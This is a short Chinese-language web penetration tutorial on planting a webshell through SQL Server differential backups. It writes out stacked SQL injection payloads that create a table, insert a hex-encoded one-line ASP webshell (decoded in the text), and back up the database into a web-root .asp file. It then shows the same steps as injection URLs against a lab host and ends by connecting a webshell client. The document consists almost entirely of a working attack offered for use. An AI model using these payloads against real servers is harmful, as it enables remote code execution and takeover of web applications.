Web渗透之mssql差异备份getshell

简介

差异备份数据库得到webshell。在sql server 里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。


 

 

差异备份的流程大概这样:

1.完整备份一次(保存位置当然可以改)

backup database 库名 to disk = 
'c:\ddd.bak';--

2.创建表并插入数据

create table [dbo].[dtest] ([cmd] 
[image]);--
insert into dtest(cmd) 
values(0x3C25657865637574652872657175657374282261222929253E);--

3.进行差异备份

backup 
database 库名 to disk='目标位置\d.asp' WITH 
DIFFERENTIAL,FORMAT;--

上面

0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>

例子

测试例子中我目标网站的绝对路径是E:\wwwroot\asp_sqli,数据库名是asp_test

1、

http://192.168.5.21:81/index.asp?id=1;backup%20database%20asp_test%20to%20disk%20=%27E:\wwwroot\asp_sqli\ddd.bak%27;--

2、

http://192.168.5.21:81/index.asp?id=1;create%20table%20[dbo].[dtest]%20([cmd][image]);--
http://192.168.5.21:81/index.asp?id=1;insert%20into%20dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--

 

 

 

3、

http://192.168.5.21:81/index.asp?id=1;backup%20database%20asp_test%20to%20disk=%27E:\wwwroot\asp_sqli\d.asp%27%20WITH%20DIFFERENTIAL,FORMAT;--

 

菜刀连接d.asp即可。